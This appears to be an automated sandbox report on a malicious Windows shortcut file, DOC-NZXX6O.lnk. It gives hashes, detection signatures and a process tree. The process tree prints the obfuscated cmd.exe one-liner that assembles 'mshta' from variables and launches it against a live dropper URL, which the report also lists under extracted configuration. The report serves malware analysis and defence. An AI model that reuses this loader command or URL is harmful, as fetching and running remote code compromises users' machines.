Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NZXX6O.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-NZXX6O.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-NZXX6O.lnk
- Size 1KB
- Sample260804-kfdvrsbk7x
- SHA256 50982ee5d46342929447025f412805bbdc4d7613f7bb24947485c7208fa24bd9
- MD5 e6b4d16b468b8b2c6c20f24d62571973
- SHA1 0d8660bd40dfdd7703aa6cd8fde2e6c1b677fbdb
- SHA512 96a3c6553884e9f547fb9dc62b021dd5b6db05270f88111babe62c00adb7622f5e7981e4b094f2c50758daad8a917cca39f8e169c48dab9822db2d46080d80c3
- TLSH T1EE3197003FFC0624F3B38E7784BB572085BAB9558D21CA2E0051450C1432A15E13BF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5540 cmd.exe 2752 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5540 wrote to memory of 2752 5540 cmd.exe 90 PID 2752 wrote to memory of 2612 2752 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NZXX6O.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5540 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set ado=msh&&set IFmO=ta&&start "" !ado!!IFmO! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2612
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